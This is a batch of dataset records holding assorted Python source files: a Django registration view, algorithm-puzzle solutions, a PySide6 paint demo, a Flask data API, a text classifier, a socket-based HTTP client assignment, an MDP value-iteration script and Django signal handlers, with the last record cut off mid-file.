registration_settings.REGISTER_VERIFICATION_AUTO_LOGIN:\n        extra_data = perform_login(request, user)\n    return get_ok_response('User verified successfully', extra_data=extra_data)\n\n\ndef process_verify_registration_data(input_data, serializer_context=None):\n    if serializer_context is None:\n        serializer_context = {}\n    if not registration_settings.REGISTER_VERIFICATION_ENABLED:\n        raise Http404()\n    serializer = VerifyRegistrationSerializer(\n        data=input_data,\n        context=serializer_context,\n    )\n    serializer.is_valid(raise_exception=True)\n\n    data = serializer.validated_data\n    signer = RegisterSigner(data)\n    verify_signer_or_bad_request(signer)\n\n    verification_flag_field = get_user_setting('VERIFICATION_FLAG_FIELD')\n    user = get_user_by_verification_id(data['user_id'], require_verified=False)\n    setattr(user, verification_flag_field, True)\n    user.save()\n\n    return user\n","repo_name":"wahaj/Hamzar","sub_path":"venv/lib/python3.6/site-packages/rest_registration/api/views/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"20724943695","text":"import sys\nimport heapq\ninput = sys.stdin.readline\nINF = sys.maxsize\n\nif __name__ == \"__main__\":\n    n, m = map(int, input().split())\n    graph = [[] for _ in range(n)]\n    distance = [INF for _ in range(n)]\n    distance[0] = 0\n\n    for i in range(m):\n        a, b, c = map(int, input().split())\n        graph[a - 1].append([b - 1, c])\n        graph[b - 1].append([a - 1, c])\n    \n    heap = []\n    heapq.heappush(heap, (0, 0)) # 현서의 위치\n    while heap:\n        dis, node = heapq.heappop(heap)\n        for g in graph[node]:\n            new_node, new_dis = g[0], g[1] + dis\n            if new_dis < distance[new_node]:\n                distance[new_node] = new_dis\n                heapq.heappush(heap, (new_dis, new_node))\n    print(distance[n - 1])","repo_name":"Angela-OH/Algorithm","sub_path":"백준/5972.py","file_name":"5972.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20913717136","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport warnings\n\nfrom optparse import OptionParser\n\nfrom configs import MODELS_ENUM, get_language_model_config, get_bicontext_fixer_config\nfrom handlers.reader import Reader\nfrom utils.logger import logger\nfrom models.rnn_bicontext_fixer import Tuner\nfrom models.rnn_language_model import RNNLanguageModel\n\nwarnings.filterwarnings(\"ignore\")\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n# import nltk\n# emma = nltk.corpus.gutenberg.raw('burgess-busterbrown.txt')\n# texts = ['Hello world this is boring', 'Attack on Titan is cool', emma[:60000]]\n\n\ndef train_language_model(**kwargs):\n    config = get_language_model_config(**kwargs)\n    reader = Reader(config)\n    model = RNNLanguageModel(config)\n    model.train(reader.read_train_lines())\n\n\ndef train_tuner(**kwargs):\n    config = get_bicontext_fixer_config(**kwargs)\n    reader = Reader(config)\n    tuner = Tuner(config)\n    tuner.train_data(reader.read_valid_pairs(), total=550)\n\n\nif __name__ == '__main__':\n    parser = OptionParser((\"run_train.py [options]\\n\"\n                           \"to train one of the following models\"))\n    parser.add_option(\"-v\", \"--verbose\", dest=\"verbose\", action='store_true',\n                      help=\"print update statements during computations\",\n                      metavar=\"VERBOSE\")\n    parser.add_option(\"-x\", \"--debug\", dest=\"debug\", action='store_true',\n                      help=\"print update debug statements during computations\",\n                      metavar=\"DEBUG\")\n    parser.add_option(\"-t\", \"--tuner\", dest=\"tuner\",\n                      action=\"store_true\",\n                      help=\"train bicontext tuner\",\n                      metavar=\"TUNER\")\n    parser.add_option(\"-b\", \"--back-rnn\", dest=\"backward_rnn\",\n                      action=\"store_true\",\n                      help=\"train backward language model\",\n                      metavar=\"BRNN\")\n    parser.add_option(\"-f\", \"--forw-rnn\", dest=\"forward_rnn\",\n                      action=\"store_true\",\n                      help=\"train forward language model\",\n                      metavar=\"BRNN\")\n    parser.add_option(\"-z\", \"--full-debug\", dest=\"full_debug\",\n                      action='store_true',\n                      help=\"print full debug statements during computations\",\n                      metavar=\"FULLDEBUG\")\n\n    options, args = parser.parse_args()\n    verbose = options.verbose is not None\n    debug = options.debug is not None\n    full_debug = options.full_debug is not None\n\n    tuner = options.tuner is not None\n    forward_rnn = options.forward_rnn is not None\n    backward_rnn = options.backward_rnn is not None\n    tuner = options.tuner is not None\n\n    logger.set_verbose(verbose)\n    logger.set_debug(debug)\n    logger.set_full_debug(full_debug)\n\n    if forward_rnn:\n        train_language_model(model=MODELS_ENUM.forward_language_model)\n    if backward_rnn:\n        train_language_model(model=MODELS_ENUM.backward_language_model)\n    if tuner:\n        train_tuner()\n","repo_name":"ad-freiburg/tokenization-repair","sub_path":"common/run_train.py","file_name":"run_train.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"41287206857","text":"# tag::imports[]\nimport random\nimport sys\n\nfrom PySide6 import QtCore, QtGui, QtWidgets\nfrom PySide6.QtCore import Qt\n\nSPRAY_PARTICLES = 100\nSPRAY_DIAMETER = 10\n\n# end::imports[]\n\n# tag::colors[]\nCOLORS = [\n    # 17 undertones https://lospec.com/palette-list/17undertones\n    \"#000000\",\n    \"#141923\",\n    \"#414168\",\n    \"#3a7fa7\",\n    \"#35e3e3\",\n    \"#8fd970\",\n    \"#5ebb49\",\n    \"#458352\",\n    \"#dcd37b\",\n    \"#fffee5\",\n    \"#ffd035\",\n    \"#cc9245\",\n    \"#a15c3e\",\n    \"#a42f3b\",\n    \"#f45b7a\",\n    \"#c24998\",\n    \"#81588d\",\n    \"#bcb0c2\",\n    \"#ffffff\",\n]\n# end::colors[]\n\n# tag::QPaletteButton[]\nclass QPaletteButton(QtWidgets.QPushButton):\n    def __init__(self, color):\n        super().__init__()\n        self.setFixedSize(QtCore.QSize(24, 24))\n        self.color = color\n        self.setStyleSheet(\"background-color: %s;\" % color)\n\n\n# end::QPaletteButton[]\n\n# tag::Canvas[]\nclass Canvas(QtWidgets.QLabel):\n    def __init__(self):\n        super().__init__()\n        self._pixmap = QtGui.QPixmap(600, 300)\n        self._pixmap.fill(Qt.GlobalColor.white)\n        self.setPixmap(self._pixmap)\n\n        self.pen_color = QtGui.QColor(\"#000000\")\n\n    def set_pen_color(self, c):\n        self.pen_color = QtGui.QColor(c)\n\n    def mouseMoveEvent(self, e):\n        painter = QtGui.QPainter(self._pixmap)\n        p = painter.pen()\n        p.setWidth(1)\n        p.setColor(self.pen_color)\n        painter.setPen(p)\n\n        for n in range(SPRAY_PARTICLES):\n            xo = random.gauss(0, SPRAY_DIAMETER)\n            yo = random.gauss(0, SPRAY_DIAMETER)\n            painter.drawPoint(e.x() + xo, e.y() + yo)\n\n        self.setPixmap(self._pixmap)\n\n\n# end::Canvas[]\n\n# tag::MainWindow[]\nclass MainWindow(QtWidgets.QMainWindow):\n    def __init__(self):\n        super().__init__()\n\n        self.canvas = Canvas()\n\n        w = QtWidgets.QWidget()\n        l = QtWidgets.QVBoxLayout()\n        w.setLayout(l)\n        l.addWidget(self.canvas)\n\n        palette = QtWidgets.QHBoxLayout()\n        self.add_palette_buttons(palette)\n        l.addLayout(palette)\n\n        self.setCentralWidget(w)\n\n    def add_palette_buttons(self, layout):\n        for c in COLORS:\n            b = QPaletteButton(c)\n            b.pressed.connect(lambda c=c: self.canvas.set_pen_color(c))\n            layout.addWidget(b)\n\n\napp = QtWidgets.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\napp.exec_()\n# end::MainWindow[]\n","repo_name":"mashi727/reading_books","sub_path":"books/comp_programming/Create_GUI_Applications_with_PySide6/download/bitmap/spraypaint.py","file_name":"spraypaint.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36220344470","text":"import csv\nfrom collections import defaultdict\n\nterminal_lines = []\ndirs = defaultdict(int)\nstack = []\n\nwith open(\"./input_data.txt\") as file:\n    raw_data = csv.reader(file)\n    for line in raw_data:\n        terminal_lines.append(line[0])\n\nfor line in terminal_lines:\n    if line.startswith(\"$ ls\") or line.startswith(\"dir\"):\n        continue\n    if line.startswith(\"$ cd\"):\n        destination_dir = line.split()[2]\n        # print(\"destination directory\", destination_dir)\n        # print(\"stack\", stack)\n        if destination_dir == \"..\":\n            stack.pop()\n        else:\n            path = f\"{stack[-1]}_{destination_dir}\" if stack else destination_dir\n            # print(\"path\", path)\n            stack.append(path)\n    else:\n        size, file = line.split()\n        for path in stack:\n            dirs[path] += int(size)\n\n# print(\"all dirs\", dirs)\n# print(\"sum under 100K\", sum(n for n in dirs.values() if n <= 100000))  # part 1 answer\n\ntotal_disk_space = 70000000\nneeded_disk_space = 30000000\nfree_disk_space = total_disk_space - dirs['/']\nminimum_space_to_free = needed_disk_space - free_disk_space\n\nlarge_enough = dict((k, v)\n                    for k, v in dirs.items() if v >= minimum_space_to_free)\n\nlarge_enough_sorted = {k: v for k, v in sorted(\n    large_enough.items(), key=lambda item: item[1])}\n\nprint(large_enough_sorted)\n\n# for index, line in enumerate(terminal_lines):\n#     # print(line)\n#     if line[0:4] == \"$ ls\" and index <= len(terminal_lines) - 2:\n#         dir_being_listed = terminal_lines[index - 1][4:]\n#         print(\"dir being listed\", dir_being_listed, \"index\", index)\n\n#         inside_dir = True\n#         current_line = 1\n#         while inside_dir == True and index <= len(terminal_lines) - 2 and index + current_line <= len(terminal_lines):\n#             content_line = terminal_lines[index + current_line]\n#             print(f\"content line {index+current_line}: \", content_line)\n#             # dir_contents = [s for s in terminal_lines[index + current_line]]\n#             # print(dir_contents)\n\n#             # print(\"index\", index + current_line)\n#             # file_size_list = [\n#             #     int(s) for s in terminal_lines[index + current_line].split() if s.isdigit()]\n#             # if len(file_size_list) > 0:\n#             #     file_size = file_size_list[0]\n#             #     # print(\"file size\", file_size)\n#             #     if not dir_being_listed in dirs:\n#             #         dirs[dir_being_listed] = file_size\n#             #     else:\n#             #         dirs[dir_being_listed] += file_size\n#             if index + current_line <= len(terminal_lines):\n#                 current_line += 1\n#             if index + current_line < len(terminal_lines) - 1 and not terminal_lines[index + current_line][0].isdigit():\n#                 inside_dir = False\n#                 break\n\n# print(\"single value: \", dirs[' bjrbjh'])\n\n# # print(\"ALL DIRS\", dirs)\n# small_enough = {k: v for (k, v) in dirs.items() if v <= 100000}\n# # print(small_enough)\n# sum_of_values = sum(small_enough.values())\n# print(sum_of_values)\n","repo_name":"jonesmo/advent_of_code_2022","sub_path":"7/dir_sizes_try2.py","file_name":"dir_sizes_try2.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16841145817","text":"from flask import Flask, jsonify, make_response\nimport pandas as pd\nimport numpy as np\nimport csv\nimport json\n\n\napp = Flask(__name__) #inicializar, ¿es el archivo princiapl?\n\n@app.route('/')\ndef index():\n    return jsonify({'Nothing':\"Nothing\"})\n    \n\n@app.route('/data', methods = ['GET']) # Method by default\ndef listar_cursos():\n    try:\n\n        datos = pd.read_csv(\"src/diabetes_data.csv\",header = 0)\n        patients = []\n        for i in datos.index: # csv must be saved in a dict to then parse it to json \n            #Parse to every data if its not string or it wont work\n            sub={'Pregnancies':int(datos['Pregnancies'][i]),\n            'Glucose':float(datos['Glucose'][i]),\n            'Blood Pressure':float(datos['BloodPressure'][i]),\n            'Skin Thickness':float(datos['SkinThickness'][i]),\n            'Insulin':float(datos['Insulin'][i]),\n            'BMI':float(datos['BMI'][i]),\n            'Diabetes Pedigree Function':float(datos['DiabetesPedigreeFunction'][i]),\n            'Age':int(datos['Age'][i]),\n            'Outcome':int(datos['Outcome'][i])\n            } \n            patients.append(sub)\n        \n        print(patients) # This should be shown in the terminal if the code above works\n        return jsonify(patients)# jsonify will give the response as a proper json for the API\n    except Exception as ex:\n        response = app.response_class(response = jsonify(mensaje = \"error\"),status=500,mimetype='application/json')\n        return response\n    \n\n@app.route('/GD/<departamento>', methods = ['GET'])\ndef leer_cursos(departamento):\n    try:\n        #cursor = conexion.connection.cursor()\n        #sql = \"SELECT codigo, nombre, creditos FROM curso WHERE codigo = '{0}'\".format(codigo)\n        #cursor.execute(sql)\n        #datos = cursor.fetchall()\n        #datos ---- #Aqui deberia de meter algun parametro de [codigo_bdns == codigo]\n        if datos != None:\n            curso={'nombre':datos[0],'edad':datos[1],'ciudad':datos[2]}\n            return jsonify({'cursos': cursos, 'mensaje': \"codigo concreto\"})\n        else:\n            return jsonify({'mensaje': \"dato no encontrado\"})\n    except Exception as ex:\n        return jsonify({'mensaje': \"error\"})\n\ndef pagina_no_encontrada(error):\n    return \"<h1> La pagina web no existe </h1>\", 404 # esto se ejecuta gracias a lo de abajo (app.register_error_handler(404, pagina_no_encontrada))\n\n\nif __name__ == \"__main__\":\n    #app.config.from_object(config['development'])\n    #app.register_error_handler(404, pagina_no_encontrada)\n    app.run(debug = True,use_reloader = False, host = \"0.0.0.0\", port=4000)#debug = True,use_reloader = False) #debug = True #hace que no haga falta reiniciarlo, lo hace solo\n    # codigo para que el servidor funcione\n    # python .\\src\\app.py deberia ejecutarse en la terminal\n    # parametros a entender: \n    # depuracion apagada (cambio en codigo fuente hay que reiniciar), \n    # corriendo en local host y direccion (al buscarlo no se encuentra) no es que no funcione es que no ha encontrado respuesta\n    # Se reinicia con control C en la terminal \n\n\n# Thunder client es como postman pero en Visual Studio\n\n","repo_name":"RodriAF/API_Trial","sub_path":"apli2.py","file_name":"apli2.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18356307332","text":"from sklearn.base import BaseEstimator, ClassifierMixin\nfrom collections import defaultdict\nfrom sklearn.utils.validation import check_consistent_length, check_is_fitted, check_array\nfrom sklearn.utils.multiclass import unique_labels\nfrom tqdm.auto import tqdm\n\nimport numpy as np\n\nclass LongTailTextClassifier(BaseEstimator, ClassifierMixin):\n    \"\"\"Classifier that compares all n-grams and returns the class with the most similar n-grams.\n    \n    1. For all texts, extract all character n-grams within the texts with min_ngram_legnth ≤ n < max_ngram_length.\n    2. For the extracted n-grams, calculate an hash code between 0 and hash_size.\n\n    During fit: \n    For all texts in the training set belonging to the same topic, create a set of hash codes that are relevant \n    to said topic by using the set union on all the entries. \n\n    During predict: \n    Take some text, calculate the set of its hashed n-grams, and calculate the size of its intersection with \n    the \"learned\" topic-specific sets. We assign the query text to the topic with the largest intersection.\n\n    Chunk size: Since updating the dictionary from label to hash set gets increasingly expensive as the hash set grows,\n    we first create a separate ditionary for every \"chunk_size\" entries and then merge these in the end.\n    \"\"\"\n\n    def __init__(self, min_ngram_length=5, max_ngram_length=50, ngram_step=1, hash_size=10e8, chunk_size=1000):\n        self.min_ngram_length = min_ngram_length\n        self.max_ngram_length = max_ngram_length\n        self.hash_size = int(hash_size)\n        self.chunk_size = chunk_size\n        self.ngram_step = ngram_step\n\n    def fit(self, X, y):\n        self._check_X_y(X, y)\n        n_obs = len(X)\n\n        # This factorization into chunks would also allow for easy parallelization\n        groups_list = []\n        for chunk_start in tqdm(range(0, n_obs, self.chunk_size)):\n            chunk_end = min(chunk_start + self.chunk_size, n_obs)\n            chunk_X = X[chunk_start:chunk_end]\n            chunk_y = y[chunk_start:chunk_end]\n            groups_list.append(\n                self.fit_chunk(chunk_X, chunk_y)\n            )\n\n        self.groups_ = self.merge_chunks(groups_list)\n        # TODO: The same pruning as described in fit_chunk could be done here as well to speed up \n        # inference.\n        self.n_features_in_ = 1  # As required to follow scikit-learn API\n        self.classes_ = unique_labels(y)\n        return self\n    \n    def fit_chunk(self, X, y):\n        groups = defaultdict(set)\n        for text, label in zip(X.flatten(), y):\n            hashed_set = self._string_to_hash_set(text)\n            groups[label].update(hashed_set)        \n\n        # TODO: We could add a pruning step that, for every group, subtracts the entries that are \n        # common to all of the labels. We would have to check the numbers to see by how much this \n        # reduces the sizes of the resulting sets, and how much time this operation would take. \n        # But since the merging seems to be the bottleneck, we want to make the set of hashed values\n        # as small as possible. \n        return groups\n\n    @classmethod\n    def merge_chunks(cls, groups_list):\n        # TODO: this merge would probably be more efficient if instead of merging \n        # A, then B, then C, then D, we were to first merge A&B and C&D, and only then\n        # merge the two\n        output = defaultdict(set)\n        with tqdm(groups_list) as bar:\n            for groups in groups_list:\n                for k, v in groups.items():\n                    output[k].update(v)\n                bar.update()\n\n        return output\n\n    def predict(self, X):\n        self._check_X(X)\n        check_is_fitted(self)\n\n        def inner(text, pbar):\n            result = self._predict_single(text)\n            pbar.update(1)\n            return result\n\n        # Display the predicting as a progress bar\n        with tqdm(total=len(X)) as pbar:\n            return [\n                inner(text, pbar) for text in X.flatten()\n            ]\n\n    def _predict_single(self, text):\n        encoded = self._string_to_hash_set(text)\n        similarity = {\n            label: len(encoded.intersection(group_encoded)) for label, group_encoded in self.groups_.items()\n        }\n        return max(similarity, key=lambda x: similarity[x])\n\n    def _string_to_hash_set(self, text):\n        \"\"\"Returns a function that converts a string to a set of its hashed n-grams.\"\"\"\n\n        def _custom_hash(ngram):\n            return hash(ngram) % int(self.hash_size)\n        \n        return {\n            _custom_hash(text[i:i+n])\n            for n in range(self.min_ngram_length, self.max_ngram_length, self.ngram_step)\n            for i in range(len(text)-n+1)\n        }\n            \n    def _check_X_y(self, X, y):\n        self._check_X(X)\n        check_consistent_length(X, y)\n\n    def _check_X(self, X):\n        check_array(X, dtype=str)\n        self._check_has_only_one_feature(X)\n\n    @staticmethod\n    def _check_has_only_one_feature(X):\n        _, n_features = X.shape\n        if n_features > 1:\n            raise ValueError(\"Only a single string feature is supported at this time.\")\n","repo_name":"mattminder/long-tail-text-classifier","sub_path":"src/long_tail_text_classifier.py","file_name":"long_tail_text_classifier.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"8516061186","text":"# -*- coding: UTF-8 -*-\n\nimport socket\nfrom sys import argv\nfrom urllib.parse import urlparse\nfrom datetime import datetime, timedelta\n\n\nclass HTTPLogger:\n    def __init__(self, url, server_port=80):\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.url_info = self.exact_url_info(url)\n        self.url = self.url_info[0] + \"://\" + self.url_info[1] + self.url_info[2]\n        self.server_port = server_port\n\n    def make_connection(self):\n        self.sock.connect((self.url_info[1], self.server_port))\n        self.sock.sendall(self.make_request(self.url_info[1], self.url_info[2]))\n\n    def reconnect(self, new_url):\n        self.sock.close()\n        self.url_info = self.exact_url_info(new_url)\n        if self.url_info[0] != \"https\":\n            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.make_connection()\n            self.print_ip_port()\n            data = self.get_response_data()\n            status_code = data[0][9:12]\n            return self.detect_status_code(status_code, data)\n        else:\n            print(\"HTTPS Not Supported\")\n\n    def get_response_data(self):\n        buffer = []\n        while True:\n            d = self.sock.recv(1024)  # receive 1kb at most\n            if d:\n                buffer.append(d)\n            else:\n                break\n        response = b''.join(buffer).decode('utf-8')\n        return response.split('\\r\\n')\n\n    def print_ip_port(self):\n        print(\"Client:\", self.sock.getsockname()[0], self.sock.getsockname()[1])\n        print(\"Server:\", self.sock.getpeername()[0], self.sock.getpeername()[1])\n\n    def detect_status_code(self, status_code, data):\n        if status_code[0] == '2':\n            print(\"Retrieval Successful\")\n            self.print_date(data)\n            self.write_file(self.get_content_type(data), data[len(data) - 1])\n            return\n        elif 400 <= int(status_code) <= 599:\n            print(\"Retrieval Failed ({})\".format(status_code))\n            return\n        elif status_code == '301':\n            redirect_url = self.get_redirection(data)\n            print(\"Resource permanently moved to\", redirect_url)\n            self.reconnect(redirect_url)\n        elif status_code == '302':\n            redirect_url = self.get_redirection(data)\n            print(\"Resource temporarily moved to\", redirect_url)\n            self.reconnect(redirect_url)\n\n    def run(self):\n        print(\"URL Requested:\", self.url)\n        if self.url_info[0] != \"https\":\n            self.make_connection()\n            data = self.get_response_data()\n            self.print_ip_port()\n            status_code = data[0][9: 12]\n            self.detect_status_code(status_code, data)\n            self.sock.close()\n        else:\n            print(\"HTTPS Not Supported\")\n\n    @staticmethod\n    def exact_url_info(url):\n        protocol = ''\n        host = ''\n        path = ''\n        parse_tuple = urlparse(url)\n        if parse_tuple.scheme == \"http\" or parse_tuple.scheme == \"https\":  # url start with http:// or https://\n            protocol += parse_tuple.scheme\n            host += parse_tuple.netloc\n            if parse_tuple.path == '':  # no / in the end\n                path += '/'\n            else:\n                path += parse_tuple.path\n        elif parse_tuple.scheme == '':  # url start without protocol\n            protocol += \"http\"\n            if parse_tuple.path.find('/') != -1:  # url exist /\n                host += parse_tuple.path.split('/', 1)[0]\n                path += '/' + parse_tuple.path.split('/', 1)[1]\n            else:\n                host += parse_tuple.path\n                path += '/'\n        return protocol, host, path\n\n    @staticmethod\n    def make_request(host, path):\n        request = \"GET \" + path + \" HTTP/1.1\\r\\nHost: \" + host + \"\\r\\nConnection: close\\r\\n\\r\\n\"\n        return request.encode(\"utf-8\")\n\n    @staticmethod\n    def print_date(data):\n        is_find = False\n        for line in data:\n            if len(line) != 0:\n                if line[0:4] == \"Date\":\n                    converted_date = datetime.strptime(line[6:], \"%a, %d %b %Y %H:%M:%S %Z\") + timedelta(hours=10)\n                    print(\"Date Accessed:\", converted_date.strftime(\"%d/%m/%Y %H:%M:%S AEST\"))\n                elif line[0:13] == \"Last-Modified\":\n                    converted_date = datetime.strptime(line[15:], \"%a, %d %b %Y %H:%M:%S %Z\") + timedelta(hours=10)\n                    print(\"Last Modified:\", converted_date.strftime(\"%d/%m/%Y %H:%M:%S AEST\"))\n                    is_find = True\n                    break\n        if not is_find:\n            print(\"Last Modified not available\")\n\n    @staticmethod\n    def get_redirection(data):\n        for line in data:\n            words = line.split()\n            if len(words) != 0 and words[0][0:8] == \"Location\":\n                return words[1]\n\n    @staticmethod\n    def get_content_type(data):\n        for line in data:\n            words = line.split()\n            if len(words) != 0 and words[0][0:12] == \"Content-Type\":\n                return words[1]\n\n    @staticmethod\n    def write_file(content_type, text):\n        extension = ''\n        if content_type == \"text/plain\":\n            extension += \".txt\"\n        elif content_type == \"text/html\":\n            extension += \".html\"\n        elif content_type == \"text/css\":\n            extension += \".css\"\n        elif content_type == \"text/javascript\" or content_type == \"application/javascript\":\n            extension += \".js\"\n        elif content_type == \"application/json\":\n            extension += \".json\"\n        with open(\"output\" + extension, 'w', encoding=\"utf-8\") as file:\n            file.write(text)\n\n\nif __name__ == '__main__':\n    url = argv[1]\n    logger = HTTPLogger(url)\n    logger.run()\n","repo_name":"yufeng97/COMS3200_Assignments","sub_path":"Assignment1/assign1.py","file_name":"assign1.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38619348340","text":"from copy import deepcopy\n\n\nclass MDP : \n    \"\"\" Class MDP \"\"\"\n    def __init__(self, m, n, board, start_state, end_states, unit_step_reward, walls):\n        self.m = m \n        self.n = n \n        self.board = board \n        self.old_board = deepcopy(board) \n        self.original_board = deepcopy(board)\n        self.end_states = end_states \n        self.unit_step_reward = unit_step_reward\n        self.start_state = start_state \n        self.walls = walls \n        self.init_walls()\n\n    def print_board(self):\n        for i in range(self.n):\n            for j in range(self.m):\n                if self.board[i][j]==None:\n                    print(self.board[i][j], end = \"\\t\")\n                else:\n                    print('%.3f'%self.board[i][j], end = \"\\t\")\n            print()\n\n    def init_walls(self):\n        for i in range(self.n):\n            for j in range(self.m):\n                if [i,j] in self.walls:\n                    self.board[i][j] = None\n\n    def VI(self):\n        \"\"\" Function implementing Value Iteration \"\"\" \n        iteration_no = 0\n        \n        print(iteration_no,\" -----------\")\n        self.print_board()\n\n        while True:\n            iteration_no+=1\n            max_change = 0 \n\n            for i in range(n):\n                for j in range(m):\n                    if [i,j] not in self.walls and [i,j] not in self.end_states:\n                        self.board[i][j] = self.update([i,j])\n                        if self.old_board[i][j]!=0:\n                            temp = abs((self.board[i][j] - self.old_board[i][j])/self.old_board[i][j])\n                        else: \n                            temp = 100.0\n                        max_change = max(temp,max_change)\n                        \n\n            print(\"\\n\",iteration_no,\" -----------\")\n            self.print_board()\n\n            self.old_board = deepcopy(self.board)\n\n            if max_change <= 0.01:\n                break\n\n        print(\"\\nFinal Policy\\n\")\n        self.print_policy()        \n        \n    def update(self,coords):\n        x,y = coords\n\n        utility_north = self.get_util(self.old_board[x][y], x, y-1) \n        utility_south = self.get_util(self.old_board[x][y], x, y+1) \n        utility_west = self.get_util(self.old_board[x][y], x-1, y) \n        utility_east = self.get_util(self.old_board[x][y], x+1, y) \n\n        value_north = 0.8 * utility_north + 0.1 * utility_east + 0.1 * utility_west\n        value_south = 0.8 * utility_south + 0.1 * utility_east + 0.1 * utility_west\n        value_east = 0.8 * utility_east + 0.1 * utility_north + 0.1 * utility_south\n        value_west = 0.8 * utility_west + 0.1 * utility_north + 0.1 * utility_south\n\n        new_value = self.unit_step_reward + 0.99*max(value_north, value_east, value_south, value_west) + self.original_board[x][y]\n\n        return new_value\n\n    def get_util(self, value, x,y):\n        if x < 0 or y < 0 or x >= self.n or y >= self.m or self.old_board[x][y] == None :\n            return value  \n        return self.old_board[x][y]\n\n\n    def print_policy(self):\n        for i in range(self.n):\n            for j in range(self.m):\n                if [i,j] not in walls and [i,j] not in end_states:\n                    direction = self.get_dir(i,j)\n                    print(direction, end=\" \")\n                else: \n                    print(\"-\", end = \" \")\n            print()\n\n    def get_dir(self,x,y):\n        # if x-1 < 0 or y < 0 or x-1 >= self.n or y >= self.m or self.board[x-1][y] == None:\n        #     north = -100000\n        # else :\n        #     north = self.board[x-1][y]*0.8\n        #     if self.board[x][y-1] != None:\n        #         north += self.board[x][y-1]*0.1\n        #     if self.board[x][y+1] != None:\n        #         north += self.board[x][y+1]*0.1\n\n\n        # if x+1 < 0 or y < 0 or x+1 >= self.n or y >= self.m or self.board[x+1][y] == None :\n        #     south = -100000\n        # else :\n        #     south = self.board[x+1][y]*0.8 + self.board[x][y-1]*0.1 +  self.board[x][y+1]*0.1\n\n        # if x < 0 or y-1 < 0 or x >= self.n or y-1 >= self.m or self.board[x][y-1] == None:\n        #     west = -100000\n        # else :\n        #     west = self.board[x][y-1]\n\n        # if x < 0 or y+1 < 0 or x >= self.n or y+1 >= self.m or self.board[x][y+1] == None:\n        #     east = -100000\n        # else :\n        #     east = self.board[x][y+1]\n\n        utility_north = self.get_util(self.old_board[x][y], x-1, y) \n        utility_south = self.get_util(self.old_board[x][y], x+1, y)\n        utility_west = self.get_util(self.old_board[x][y], x, y-1) \n        utility_east = self.get_util(self.old_board[x][y], x, y+1)\n\n        north = utility_north * 0.8 + utility_east*0.1 + utility_west*0.1\n        south = utility_south * 0.8 + utility_east*0.1 + utility_west*0.1\n        east = utility_east * 0.8 + utility_south * 0.1 + utility_north *0.1 \n        west = utility_west * 0.8 + utility_north * 0.1 + utility_south * 0.1 \n        \n        max_dir = max(north, east, south, west)\n\n        if max_dir == north:\n            return 'N'\n        if max_dir == south:\n            return 'S'\n        if max_dir == east:\n            return 'E'\n        if max_dir == west:\n            return 'W'\n\n        return '-' \n\n\n\n\n            \n\n\nn,m = input().split()\nn = int(n) \nm = int(m)\n\nboard = [[ 0 for i in range(m)]for j in range(n)]\n\nfor i in range(n):\n    temp = input().split()\n    for j in range(m):\n        board[i][j] = float(temp[j]) \n\ne,w = input().split()\ne = int(e)\nw = int(w)\n\nend_states = [ [0,0] for i in range(e)]\nwalls = [ [0,0] for i in range(w)]\n\nfor i in range(e):\n    temp = input().split()\n    end_states[i][0] = int(temp[0])\n    end_states[i][1] = int(temp[1])\n\nfor i in range(w):\n    temp = input().split()\n    walls[i][0] = int(temp[0])\n    walls[i][1] = int(temp[1])\n\nstart_state = input().split()\nstart_state[0] = int(start_state[0])\nstart_state[1] = int(start_state[1])\n\nunit_reward = input()\nunit_reward = float(unit_reward)\n\na = MDP(m,n,board,start_state,end_states,unit_reward,walls)\n\na.VI()\n\n\n\n\n\n","repo_name":"AnirudhaRamesh/MDP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40567042844","text":"from django.contrib.auth import get_user_model\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db.models.signals import post_save, post_delete, pre_save\nfrom django.dispatch import receiver\n\nfrom MyEventWorld.accounts.models import EventProfile\nfrom MyEventWorld.events.models import Event\nfrom MyEventWorld.accounts.tasks import (\n    send_email_to_new_user,\n    remove_entity_avatar_on_deletion_or_update,\n)\n\nUserModel = get_user_model()\n\n\n@receiver(post_save, sender=UserModel)\ndef create_profile(sender, instance, created, **kwargs):\n    if created:\n        user = instance\n        profile = EventProfile.objects.create(\n            user=user,\n        )\n        send_email_to_new_user.delay(instance.email)\n\n\n@receiver(post_delete, sender=EventProfile)\ndef delete_user(sender, instance, **kwargs):\n    if instance.profile_avatar:\n        remove_entity_avatar_on_deletion_or_update.delay(\n            instance.profile_avatar.public_id\n        )\n    user = instance.user\n    user.delete()\n\n\n@receiver(pre_save, sender=EventProfile)\ndef delete_old_profile_avatar_on_update(sender, instance, **kwargs):\n    if instance.profile_avatar:\n        try:\n            profile_avatar_to_remove = EventProfile.objects.get(\n                pk=instance.pk\n            ).profile_avatar\n            if profile_avatar_to_remove:\n                remove_entity_avatar_on_deletion_or_update.delay(\n                    profile_avatar_to_remove.public_id\n                )\n        except ObjectDoesNotExist:\n            return\n\n\n@receiver(post_delete, sender=Event)\ndef delete_event_picture(sender, instance, 